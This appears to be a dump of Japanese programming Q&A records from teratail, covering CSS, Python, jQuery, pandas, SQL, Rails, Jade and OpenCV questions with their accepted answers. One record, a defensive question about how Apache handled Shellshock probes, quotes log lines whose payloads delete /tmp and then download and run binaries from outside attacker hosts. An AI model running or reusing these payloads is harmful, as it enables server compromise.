<section class="tags\_section"> <?php $args = array( // タグ名順で指定 'orderby' => 'name', // 昇順で指定 'order' => 'ASC' ); $posttags = get\_tags( $args ); shuffle( $posttags ); ?> <?php if ( $posttags ){ echo ' <div> '; foreach( $posttags as $tag ) { echo '<a href="'.get\_tag\_link( $tag->term\_id ).'" class="tag no-barba"> <p class="tag\_hole"></p><p class="square"></p><span>' .$tag->name. '</span></a>'; } echo ' </div> '; } ?> </section> <!-- タグ一覧END --> <section class="writers\_section"> <div> <h2>書いている人</h2> <ul class="writers\_flexbox"> <li> </li> </ul> </div> </section> </div> <!--右枠END --> </div> ``` `````` ``` .lists { display: flex; width: 100%; max-width: 1200px; margin: 32px auto; } #fixedbox { position: -webkit-sticky; /* Safari */ position: sticky; top: 0; } .leftwrapper\_900breakpoint { width: calc(100% - 320px); box-sizing: border-box; } .rightwrapper\_900breakpoint { margin-right: 16px; width: 320px; box-sizing: border-box; } ``` ### 試したこと ここに問題に対して試したことを記載してください。 ### 補足情報(FW/ツールのバージョンなど) ここにより詳細な情報を記載してください。
CSSの position: sticky; が効きません =============================
teratail.com
2020.45
[ { "text": "heightが未設定だったので、設定したところ、解決しました!\n\n", "name": "", "is_accepted": true } ]
e74fac272eb32213b046476b5b21421a
昨日、Pythonのマルチバイト文字の表示方法について、質問した者です。 <https://teratail.com/questions/9408> その時は、ご回答頂いた通り、 ``` # coding: utf-8 ``` と記述することで解決できたのですが、また、つまずいてしまいました。 ``` #!/usr/bin/env python #coding : utf-8 html_body = u""" <html><body> こんにちは、{}さん<br/> 今は、{}/{}/{} {}:{}:{}です。 </body></html>""" import cgi import datetime now=datetime.datetime.now() form = cgi.FieldStorage() print "Content-type: text/html\n" print "<meta charset='utf-8'>" print html_body.format(form['name'].value, now.year, now.month, now.date, now.hour, now.minute, now.second) ``` 上記のコードで期待する結果は、 「http://127.0.0.1:8000/cgi-bin/querytest.py?name=山田」 というURLをブラウザに入力すると、 「こんにちは、山田さん 今は、2015/5/15 13:35:30です。」 という表示がされるというものです。 下記のエラーが出ます。 「SyntaxError: Non-ASCII character '\xe3' in file C:\Users\……\python\c gi-bin\querytest.py on line 6, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details」 ちなみに、see以下に書いてあるPythonサイトを見てみようと思いましたが、リンク切れ?でした。 「こんにちは、」、「さん」、「今は、」、「です。」 を抜けば、 「山田 2015/5/15 13:35:30」 という形で正常に動きます。 cgiを使っていてもうまくいく方法がないでしょうか。 どうすればうまく動くかお分かりの方、ご教示頂ければ幸いです。 よろしくお願い致します。
【Python】マルチバイト文字の表示方法 =====================
teratail.com
2021.25
[ { "text": "エンコードの宣言が間違っています。\n \n`#coding : utf-8`ではなく`# coding: utf-8`または`#coding: utf-8`です。\n \n`coding`と`:`の間にスペースは含められません。\n \n(`#`と`coding`の間は問題なし)\n \n\n \nまた、実際に動かした(`form['name'].value`だけは再現していないので`u'山田'`ですが)所、\n \n`now.date`の日付が数値ではなく`<built-in method date of datetime.datetime object at 0xb70989f8>`のような文字列になってしまいました。\n \n`now.date`ではなく、`now.day`では?\n \n\n \nそれから、コード以前の確認ですが、ファイルの文字コードはUTF-8ですよね?\n \n\n \n私の環境(Ubuntu 14.04 LTS(32ビット) Python 2.7.6 コマンドライン上)で動いたコードは以下になります。\n \n\n \n\n```\n#!/usr/bin/env python\n#coding: utf-8\nhtml_body = u\"\"\"\n<html><body>\nこんにちは、{}さん<br/>\n今は、{}/{}/{} {}:{}:{}です。\n</body></html>\"\"\"\nimport cgi\nimport datetime\nnow=datetime.datetime.now()\nform = cgi.FieldStorage()\nprint \"Content-type: text/html\\n\"\nprint \"<meta charset='utf-8'>\"\nprint html_body.format(form['name'].value, now.year, now.month, now.day, now.hour, now.minute, now.second)\n```\n", "name": "", "is_accepted": true }, { "text": "`# coding: utf-8` と `#coding : utf-8` の違い。\n \n \n", "name": "", "is_accepted": false } ]
a0d935d36c8bce80146a0c0f3598a812
### 前提・実現したいこと 記事のコメント数を書き出し、その数字を別ページの記事一覧に載せようとしています。別ページのアイコンを載せることが出来たのですが、数字は出力できずに困っています。どうすればいいでしょうか。 ### 該当のソースコード ``` if ($('#show\_comments').length) { var come = $('.comments').find('li').length; $('.cap--info .icon-come').text(come); } if($('.article').length) { $(this).each(function(){ var asa = $(this).find('.snip').attr('href'); var ab = $(this).find('.a-bubble'); $.ajax({ url: asa, // 表示させたいコンテンツがあるページURL cache: false, datatype: 'html', success: function(html) { var h = $(html).find('.icon-come'); // 表示させたいコンテンツの要素を指定 ab.append(h); // append関数で指定先の要素へ出力 } }); }) } ``` ``` :root { --i-lnr: Linearicons-Free; } .icon-font, .icon-lni, .icon-lnr { position: relative; display: inline; margin: 0 .3rem 0 1.75rem; } .icon-lnr::before { font-family: var(--i-lnr); font-style: normal; font-weight: 500; font-variant: normal; text-transform: none; line-height: inherit; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-come::before { content: '\e83f' } ``` 記事一覧のHTMLです。 ``` <link rel="stylesheet" href="https://cdn.linearicons.com/free/1.0.0/icon-font.min.css" media="print" onload="this.media=\'all\'"> <div class="flex blog"> <div class="article border-3 col-s-100 col-m-30 bxs-1"> <div class="a-name"> <a class="snip" href="example-2.html">Notice</a> <time datetime="2020-11-24">2020/11/24</time> <span class="a-bubble"></span> </div> </div> <div class="article border-3 col-s-100 col-m-30 bxs-1"> <div class="a-name"> <a class="snip" href="example-1.html">Notice</a> <time datetime="2020-11-24">2020/11/24</time> <span class="a-bubble"></span> </div> </div> </div> ``` 記事(example-1.html)のHTMLです。 ``` <link rel="stylesheet" href="https://cdn.linearicons.com/free/1.0.0/icon-font.min.css" media="print" onload="this.media=\'all\'"> <!-- コメント数 --> <div class="align-left"> <div class="cap--info"> <p><a class="none blue-gray" href="#show\_comments"><span class="icon-lnr icon-come"></span></a></p> </div> </div> <!-- コメント --> <div id="show\_comments"> <div class="comments"> <ul class="scroll-content mCustomScrollbar" data-mcs-theme="minimal-dark"> <li> <div> <span>NAME</span> <span>(ID:xxxx)</span> <span>date:xxx</span> </div> <p> message </p> </li> <li> <div> <span>NAME</span> <span>(ID:xxxx)</span> <span>date:xxx</span> </div> <p> message </p> </li> </ul> </div> </div> ``` ### 試したこと jQueryのtextで出力した数は別ページに表示させることができないのでしょうか。困っています。ご助力いただけますと助かります。 ### 補足情報(FW/ツールのバージョンなど) Chrome最新版、Safari 604.1
jQueryのtextで出力した数字を別ページで読み込めない ==============================
teratail.com
2021.04
[ { "text": "`<iframe>`などで同一ページ上に複数のドキュメントが存在する場合以外、あるドキュメントのスクリプトが別のドキュメントを変更することはできません。 \n\n\n現在の構成を尊重して目的を達成するなら、`$.ajax()`の`success`ハンドラ内で入手した記事のHTML内のコメントを数えて、結果を記事一覧のページに挿入すればよいです。ただし、表示されるまで遅くなるし通信量が増えるので、こういった情報はサーバサイドで生成するのが真っ当です。 \n\n", "name": "", "is_accepted": true }, { "text": "※質問が修正される前の回答です。 \n\n\n\n> \n> if(('.article').length) { \n> \n> \n> \n\n\nこれ`('.article').`だと何にもとってきません。 \n\njQueryのセレクタの形の基本(`$(セレクタ)`) を守ってください(これに限らず)\n\n", "name": "", "is_accepted": false } ]
017da52455988086c7939604b7fd6a99
[環境] Linux raspberrypi 3.18.14-v7+ Apache/2.2.22 (Debian) GNU bash, version 4.2.37(1)-release PHP 5.4.41-0+deb7u1 はじめまして。 現在Apacheで動作しているサーバーのアクセスログに以下のような記録がありました。 ``` 222.186.56.51 - - [25/Jun/2015:21:11:03 +0900] "GET / HTTP/1.1" 200 533 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://222.186.56.51:5566/offce -O /tmp/China.Z-uotj  >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-uotj  >> /tmp/Run.sh;echo /tmp/China.Z-uotj  >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://222.186.56.51:5566/offce -O /tmp/China.Z-uotj  >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-uotj  >> /tmp/Run.sh;echo /tmp/China.Z-uotj  >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" 222.186.56.51 - - [25/Jun/2015:21:23:13 +0900] "GET / HTTP/1.1" 200 533 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo /tmp/China.Z-ppmw\x90 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" 58.213.123.107 - - [26/Jun/2015:06:07:10 +0900] "GET / HTTP/1.1" 200 533 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://202.103.243.104:911/1122.32 -O /tmp/China.Z-toqj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-toqj >> /tmp/Run.sh;echo /tmp/China.Z-toqj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://202.103.243.104:911/1122.32 -O /tmp/China.Z-toqj >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-toqj >> /tmp/Run.sh;echo /tmp/China.Z-toqj >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" 61.161.130.253 - - [27/Jun/2015:02:13:31 +0900] "GET / HTTP/1.1" 408 417 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://202.103.243.104:911/sudp -O /tmp/China.Z-wsoc >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-wsoc >> /tmp/Run.sh;echo /tmp/China.Z-wsoc >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "-" ``` ShellShockによって/tmp以下にシェルスクリプトを持ってきて実行したのち消す、というものだと思います。 今回質問させていただきたいのは、 1.最後のアクセスログ以外はHTTPステータスコードが200になっていますが、これはどのようなリクエストが成功したことを表すのでしょうか 2.最後のアクセスログのみHTTPステータスコードが408になっているのは、他のリクエストとどのような違いがあるためでしょうか 3.シェルスクリプトは実行されたのでしょうか の3点です。 3.については何か転送されているようにも見えないので、おそらく大丈夫なのでは...と考えたのですが、何か見落としているのに気付いていないかもしれませんので申しわけありませんが質問させていただきます。 なにとぞよろしくお願いいたします。
ShellShockを狙ったリクエストに対してApacheサーバーがどのように応答したか知りたい ================================================
teratail.com
2021.21
[ { "text": "リファラーやユーザーエージェントにコードを仕込んでいますね。環境変数 HTTP\\_REFERER, HTTP\\_USER\\_AGENT を渡して bash を実行することにより、ShellShock の脆弱性を突こうというものだと思います。\n \n\n \nリクエストは \"GET / HTTP/1.1\" ですので、普通にトップページにアクセスしています。\n \nトップページが静的なページ(index.html)ならば bash は起動しませんので、コードは実行されません。\n \n\n \nトップページが bash CGI だと影響があります。\n \nPHP などでも、呼んでいる関数によっては bash が起動してしまうものがあるかもしれません。\n \nもちろん、ShellShock 修正済みの bash であれば、コードが実行されることはありません。\n \n\n \n408 (Request Timeout) となったのは、\"GET / HTTP/1.1<CRLF>\" の後、ヘッダの終了を示す \"<CRLF>\" が無いため、mod\\_reqtimeout が強制終了させているのではないでしょうか。\n \n \n", "name": "", "is_accepted": true } ]
518e454f7a0e7a4dc321e33e61cb88e4
環境 Python3、 JupyternoterNotebook、 MacBookPro ``` df_IOS_AND=pd.read_csv('IOS\_AND.csv') #欲しい列だけ表示 コラムが一致しないから、必要なモノだけにする df_IOS_AND=dfAdjustIOS[['Date','OS Name']] df_IOS_AND ``` 【df\_IOS\_ANDの結果】 | Date | OS name | | | --- | --- | --- | | 2020-01-01 | IOS | | | 2020-01-01 | AND | | | 2020-01-01 | AND | | | 2020-01-01 | AND | | 【したいこと】 OSの名前からANDが入ってる行を削除する。 試したこと df\_IOS\_AND=df\_IOS\_AND.drop('AND')
Python 指定の文字を含む行を削除する =====================
teratail.com
2020.40
[ { "text": "`drop`を使うより、以下のように**条件を満たす行のみ抽出する**ほうが簡便かと思います。 \n\n\n\n```\nimport pandas as pd\n\ndf = pd.DataFrame({'id':[1,2,3,4],'name':['a','i','i','a']})\ndf_ret = df[df['name'] != 'a']\nprint(df_ret)\n# id name\n#1 2 i\n#2 3 i\n```\n", "name": "", "is_accepted": true } ]
a15012201232e62c40054639aec81dd9
itemと評価テーブルが2つあり、itemと評価の平均をまとめて、かつ、UserIDはitemテーブルの値を利用したいのですが、うまくいきません。 SQLをどのように記載すべきか教えてください。 MAX(userID)がいけないのですが、Selectで平均値した値をleftjoinできるのでしょうか? ``` select `itemID`, MAX(Name), AVG(value) as r_avg from `table\_a` left join `table\_b` on `table\_a`.`itemID` = `table\_b`.`itemID` left join `table\_c` on `table\_a`.`UserId` = `table\_c`.`UserId` group by `itemID`; ``` ●table\_a:itemテーブル | itemID | Item | UserId | | --- | --- | --- | | 1 | item1 | 1 | | 2 | item2 | 2 | ●table\_b:item評価テーブル | itemID | value | UserID | | --- | --- | --- | | 1 | 1 | 1 | | 1 | 5 | 2 | | 1 | 3 | 3 | ●table\_c:usersテーブル | UserID | Name | | --- | --- | | 1 | userA | | 2 | userB | | 3 | userC | ●期待するクエリ回答 item1,userA,3 item2,userB,null
SQLにおける平均値Join時の特定フィールド取得値のテーブル指定について =====================================
teratail.com
2020.45
[ { "text": "すみません、勘違いでした。 \n\nleft join `table_c` on `table_a`.`UserId` = `table_c`.`UserId`  \n\nとしているので、必ずtable\\_aのUserIDの値が入っていて問題ありませんでした。\n\n", "name": "", "is_accepted": true } ]
eb2ae515cbd2446158c8ba103c9cd561
いつもお世話になっております。 utunと申します。 この度Twitter APIを利用したシステムを作り始めたのですが、第三者ユーザのアクセストークン取得に当たり、 アプリ連携許可済みのアカウントの認証を行う際にも、再度「xxxがあなたのアカウントを利用することを許可しますか?」 の画面が出てしまいます。 当方で調べたところ、「[authorize](https://dev.twitter.com/oauth/reference/get/oauth/authorize)」だと毎回確認されるが、「[authenticate](https://dev.twitter.com/oauth/reference/get/oauth/authenticate)」なら認証済みの場合は自動でコールバックURLにリダイレクトする、との話があります。 このため、現在「authenticate」を利用するようにしているのですが、どうも結局「authorize」にリダイレクトされてしまいます。 これについて、何か解決策等ご存知の方がいらっしゃいましたら、是非ご教授願えませんでしょうか。 尚、リダイレクトは現在以下のようにしております。 ``` header("Location: https://api.twitter.com/oauth/authenticate?oauth_token={$this->request_token['oauth_token']}"); ``` お忙しい中とは存じますが、おちから添え頂ければ幸いです。 宜しくお願いいたします。
Twitterのoauth/authenticateについて(PHP) ===================================
teratail.com
2021.43
[ { "text": "Twitter Application Managementページにて、以下の項目をチェックしていないだけでした。\n \n「Allow this application to be used to Sign in with Twitter」\n \n\n \n何か簡単な見落としだとは思っていましたが、想像以上にひどい結末。\n \nほとんどいないと思いますが、同様の症状の方のご参考になれば幸いです。 \n", "name": "", "is_accepted": true } ]
919435ea43b6f0d617692c99a527b79f
groupメソッドを使って結果をグループ化しました。 このデータを絞りこみたいのですが、どうすればできますでしょうか? どなたか教えていただけませんか?
Rails 集計結果をもとにデータを絞りこみたい ========================
teratail.com
2019.43
[ { "text": "havingメソッドを使うと良いです。\n \nこれはSQLのHAVING句に相当するものです。\n \nあと、ハッシュは利用できないので注意が必要です。 \n", "name": "", "is_accepted": true } ]
f4ce4e8f26540c9138ae05fea62f1042
###  前提・実現したいこと 初歩的な質問で恐縮です。 railsチュートリアルのサンプルアプリにて投稿した文章を編集できる機能を実装しようとしています。 編集画面のビューを用意し、editアクションをコントローラに記載して、link\_toメソッドでedit\_micropost\_pathを使って編集画面に飛ばそうとしています。 ですが現在編集のリンク自体は投稿のフィードに正常に表示されますが、そのリンクをクリックして飛ぼうとしたところで下記のエラーが発生します。 ###  発生している問題・エラーメッセージ 下記のように、micropostのidを取得できないと怒られこけております。 ``` ActiveRecord::RecordNotFound in MicropostsController#edit Couldn't find Micropost without an ID ``` ###  該当のソースコード \_micropost.html.erb ``` <li id="micropost-<%= micropost.id %>"> <%= link\_to gravatar\_for(micropost.user, size: 50), micropost.user %> <span class="user"><%= link\_to micropost.user.name, micropost.user %></span><br> <span class="title"><strong><%= micropost.title %></span></strong><br> <span class="content"> <%= micropost.text %><br> <%= image\_tag micropost.picture.url if micropost.picture? %><br> <%= micropost.tag %><br> </span> <span class="timestamp"> Posted <%= time\_ago\_in\_words(micropost.created\_at) %> ago. <% if current\_user?(micropost.user) %> <%= link\_to "編集" , edit\_micropost\_path(:id) %> <%= link\_to "削除", micropost, method: :delete, data: { confirm: "You sure?" } %> <% end %> </span> <%= render "likes/like", micropost: micropost %> <%= render "joins/join", micropost: micropost %> </li> ``` edit.html.erb ``` <% provide(:title, "Edit micropost") %> <h1>プロジェクトを編集する</h1> <div class="row"> <div class="col-md-6 col-md-offset-3"> <%= form\_for(@micropost) do |f| %> <%= render 'shared/error\_messages' %> <%= f.label :title %> <%= f.text\_field :title, class: 'form-control' %> <%= f.label :text %> <%= f.text\_field :text, class: 'form-control' %> <%= f.label :tag %> <%= f.text\_field :tag ,class: 'form-control' %> <%= f.submit "変更を保存する", class: "btn btn-primary" %> <% end %> <div class="gravatar\_edit"> <%= gravatar\_for @user %> <a href="http://gravatar.com/emails" target="\_blank">変更</a> </div> </div> </div> ``` miropost\_controller.rb ``` class MicropostsController < ApplicationController before_action :logged\_in\_user, only: [:create, :destroy] before_action :correct\_user, only: :destroy def index @search_microposts = Micropost.search(params[:search]) end def readyfor @micropost = current_user.microposts.build if logged_in? end def create @micropost = current_user.microposts.build(micropost_params) if logged_in? if @micropost.save flash[:success] = "Micropost created!" redirect_to root_url else @feed_items = current_user.feed.paginate(page: params[:page]) render 'static\_pages/home' end end def destroy @micropost.destroy flash[:success] = "Micropost deleted" redirect_to request.referrer || root_url end def edit @micropost = Micropost.find(params[:micropost\_id]) end def update @micropost = Micropost.find(params[:id]) if @micropost.update_attributes(micropost_params) #実装中の部分 else render 'edit' end end private def micropost\_params params.require(:micropost).permit(:text, :tag, :title) end def correct\_user @micropost = current_user.microposts.find_by(id: params[:id]) redirect_to root_url if @micropost.nil? end end ``` routes.rb ``` Rails.application.routes.draw do get 'joins/create' get 'joins/destroy' get 'likes/create' get 'likes/destroy' get 'password\_resets/new' get 'password\_resets/edit' get 'sessions/new' root "static\_pages#home" get "/readyfor", to: "microposts#readyfor" post "/readyfor", to: "microposts#create" get '/about', to: 'static\_pages#about' get "/discover", to: "static\_pages#discover" get '/signup', to: 'users#new' post '/signup', to: 'users#create' get '/login', to: 'sessions#new' post '/login', to: 'sessions#create' delete '/logout', to: 'sessions#destroy' resources :users do member do # /users/:id/~ get :following, :followers # GET /users/1/following => following action # GET /users/1/followers => followers action end end resources :account_activations, only: [:edit] resources :password_resets, only: [:new, :create, :edit, :update] resources :microposts resources :relationships, only: [:create, :destroy] resources :likes, only: [:create, :destroy] resources :joins, only: [:create, :destroy] end ``` ###  試したこと 当初はedit\_micropost\_pathに引数でidを渡しておらず、リクエストのなかの投稿のidがnilだと怒られていました。パスに与えるidやコントローラのeditアクションの引数のidなどの表記を変えたりしましたが、依然解決できません。 お力をお貸しいただけると幸いです、、! ###  補足情報(FW/ツールのバージョンなど) ruby 2.4.1 ruby on rails 5.1.4
特定の投稿を編集リンクから名前付きルート(edit\_micropost\_path)で編集画面へ飛ばす際に、その投稿のidを渡す方法 ===================================================================
teratail.com
2020.50
[ { "text": "controllerのedit部分を \n\n\n\n```\n@micropost = Micropost.find(params[:id])\n```\n\n \n\nに変更して、\\_micropost.html.erbの「link\\_to '編集'」の部分を \n\n\n\n```\n<%= link\\_to \"編集\" , edit\\_micropost\\_path(@micropost) %>\n```\n\n \n\nとしてみたらどうでしょうか? \n\n", "name": "", "is_accepted": false } ]
31e3ecd9053f19e33268a30a06ff9925
gulp.jsを使用して、jadeをhtmlに変換させています。 しかし実際に出力されたhtmlを開いてみると、jade側に書いたシングルクオートはダブルクオートに、ダブルクオートは&quot;に勝手に置き換わってしまいます。 今回、wordpressの固定ページを書く目的でjadeを使用しているのですが、引数つきのショートコードを使いたいために、シングル・ダブルクオートの自動置き換えを無効化したいと思っています。 置き換えされてしまった状態ではショートコードとして認識してくれないため、手作業でいちいちシングル・ダブルクオートの部分だけ元に戻す必要があり、非常に面倒です。 置き換えを無効化する方法はないでしょうか? ``` //- jade p     a(href='[permalink slug="test"]') テスト ``` ``` <p><a href="[permalink slug=&quot;test&quot;]">テスト</a></p> <!--     本当は以下のように出力されてほしい。     <p><a href='[permalink slug="test"]'>テスト</a></p> --> ``` ``` gulp = require('gulp') plumber = require('gulp-plumber') jade = require('gulp-jade') gulp.task 'jade', ->     gulp.src('html/*.jade')         .pipe(plumber())         .pipe(jade(             pretty: true         ))         .pipe gulp.dest('html/') gulp.task 'default', ->     gulp.watch 'html/*.jade', ['jade'] ```
gulp.jsでjadeを変換すると、シングル・ダブルクオートが勝手に置き換えられてしまう =============================================
teratail.com
2020.45
[ { "text": "属性名のイコールの前にビックリマークを入れると、エスケープを無効化できるということを忘れておりました。\n \n以下、修正後のソースと出力結果です。\n \n\n```\n//- jade\np\n    a(href!='[permalink slug=\"test\"]') テスト\n```\n\n```\n<!-- 出力結果 -->\n<p><a href=\"[permalink slug=\"test\"]\">テスト</a></p>\n```\nしかしこの方法でも、シングルクオートがダブルクオートに置き換わる現象は止められませんでした。\n \nダブルクオートをダブルクオートで囲っているのは本来良くない書き方ですが、ショートコードを使用するうえでは今のところ問題なく動作しているので、いったんこれで解決ということにしておきます。 \n", "name": "", "is_accepted": true } ]
faaa136d815a752c771552f33b57e037
OSはLinux Debianを使用しており、Android Studio2.1.2にOpenCV3.1.0 を導入してプログラムを作成しています。 タイトル通り、Mat形式の変数にnew Mat()などのデータを代入すると実行エラーが発生し、プログラムが強制終了されてしまいます。 ただ、inputFrameを代入する場合は実行エラーは発生しません。 導入については Fairu>New>Improt ModuleでOpenCVのJavaフォルダ選択して読み込み、OpenCVのbuild.gradleのcompileSdkVersionを24に変更しました。 様々なサイトを調べたのですが、1週間立っても答えにたどり着けませんでした。 デフォルトのプロジェクトにMatを代入するというとても簡単なプログラムでも発生します。 public class MainActivity extends AppCompatActivity { private Mat tmpl; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity\_main); tmpl=new Mat(); } このプログラムでのエラーは以下のとおりです ### 発生している問題・エラーメッセージ 08-02 14:22:20.229 21215-21215/com.example.bisfate.myapplication E/AndroidRuntime: FATAL EXCEPTION: main Process: com.example.bisfate.myapplication, PID: 21215 java.lang.UnsatisfiedLinkError: Native method not found: org.opencv.core.Mat.n\_Mat:()J at org.opencv.core.Mat.n\_Mat(Native Method) at org.opencv.core.Mat.<init>(Mat.java:24) at com.example.bisfate.myapplication.MainActivity.onCreate(MainActivity.java:17) at android.app.Activity.performCreate(Activity.java:5275) at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1087) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2166) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2252) at android.app.ActivityThread.access$800(ActivityThread.java:139) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1200) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:136) at android.app.ActivityThread.main(ActivityThread.java:5103) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:790) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:606) at dalvik.system.NativeStart.main(Native Method) どこのサイトでも同じようにやっている代入方法でプログラムが落ちるので、非常に困っています。 原因がわかる方がいましたら、ご返答おねがいします。 追記 以下元々作っていたプログラムです。 設定がどれに当たるかわからなかったので、手を加えたxmlの追加分のみとjava全文を記述しました。 OpenCVのデフォルトプログラムをベースにタップした際にカメラから得た画像を処理した画像を表示するプログラム javaのonCreate内のコメントアウトしてある行を戻すと実行エラーが起きます。 activity\_main.xml ``` <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout\_width="fill\_parent" android:layout\_height="fill\_parent" android:orientation="vertical" tools:context="com.example.bisfate.decood.MainActivity"> <org.opencv.android.JavaCameraView android:id="@+id/camera\_view" android:layout\_width="fill\_parent" android:layout\_height="fill\_parent" android:visibility="visible" /> </RelativeLayout> ``` AndroidManifest.xml ``` <uses-permission android:name="android.permission.CAMERA" /> <uses-feature android:name="android.hardware.camera"/> <uses-feature android:name="android.hardware.camera.autofocus"/> <uses-permission android:name="android.permission.WRITE\_EXTERNAL\_STORAGE" /> ``` ``` MainActivity.java package com.example.bisfate.decood; import android.app.Activity; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.os.Bundle; import android.util.Log; import android.view.MotionEvent; import org.opencv.android.BaseLoaderCallback; import org.opencv.android.CameraBridgeViewBase; import org.opencv.android.CameraBridgeViewBase.CvCameraViewFrame; import org.opencv.android.CameraBridgeViewBase.CvCameraViewListener2; import org.opencv.android.LoaderCallbackInterface; import org.opencv.android.OpenCVLoader; import org.opencv.core.CvType; import org.opencv.core.Mat; import org.opencv.imgproc.Imgproc; public class MainActivity extends Activity implements CvCameraViewListener2 { private CameraBridgeViewBase mCameraView; private Mat mOutputFrame;//出力画像 private Mat mOutputFrame2;//画像保持用 private Mat mat; private Mat tmpl;//テンプレート画像用Mat private int touId=0;//フラグ変数 private BaseLoaderCallback mLoaderCallback = new BaseLoaderCallback(this) { private String TAG = "decood"; @Override public void onManagerConnected(int status) { switch (status) { case LoaderCallbackInterface.SUCCESS: Log.i(TAG, "OpenCV loaded successfully"); mCameraView.enableView(); break; default: super.onManagerConnected(status); break; } } }; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Bitmap scr= BitmapFactory.decodeResource(getResources(),R.drawable.qrmark);//テンプレートJPG画像読み込み // mat=new Mat(); // mat=new Mat(new Size(85, 85), CvType.CV\_8UC4); // tmpl= Utils.bitmapToMat(scr,mat); setContentView(R.layout.activity_main); mCameraView = (CameraBridgeViewBase)findViewById(R.id.camera_view); mCameraView.setCvCameraViewListener(this); } @Override public void onPause() { if (mCameraView != null) { mCameraView.disableView(); } super.onPause(); } @Override protected void onResume() { super.onResume(); OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_2_4_10, this, mLoaderCallback); } @Override public void onDestroy() { super.onDestroy(); if (mCameraView != null) { mCameraView.disableView(); } } @Override public void onCameraViewStarted(int width, int height) { mOutputFrame = new Mat(height, width, CvType.CV_8UC1); } @Override public void onCameraViewStopped() { mOutputFrame.release(); } @Override public Mat onCameraFrame(CvCameraViewFrame inputFrame) { switch (touId){ case 0: mOutputFrame=inputFrame.rgba(); break; case 1: Imgproc.threshold(inputFrame.gray(), mOutputFrame, 127.0, 255.0, Imgproc.THRESH_BINARY);//二値化 mOutputFrame2=mOutputFrame; touId=2; break; case 2: mOutputFrame=mOutputFrame2; break; } return mOutputFrame; } @Override public boolean onTouchEvent(MotionEvent ev) { switch (ev.getAction()) { case MotionEvent.ACTION_DOWN: //画面がタッチされたときの動作 if(touId==0){ touId=1; } else if(touId==2){ touId=0; } break; case MotionEvent.ACTION_CANCEL: //他の要因によってタッチがキャンセルされたときの動作 break; } return super.onTouchEvent(ev); } } ```
AndroidでMatに代入すると実行エラーが起こる ==========================
teratail.com
2020.16
[ { "text": "正しくライブラリを読み込めていないようですね。ライブラリのロードはしましたか? \n\n\nまた、導入したとはどういった導入方法でしょうか?なにをしたのかを追記してください。\n\n", "name": "", "is_accepted": true } ]
040836cfb0c41c7801c7156dcd7292b0
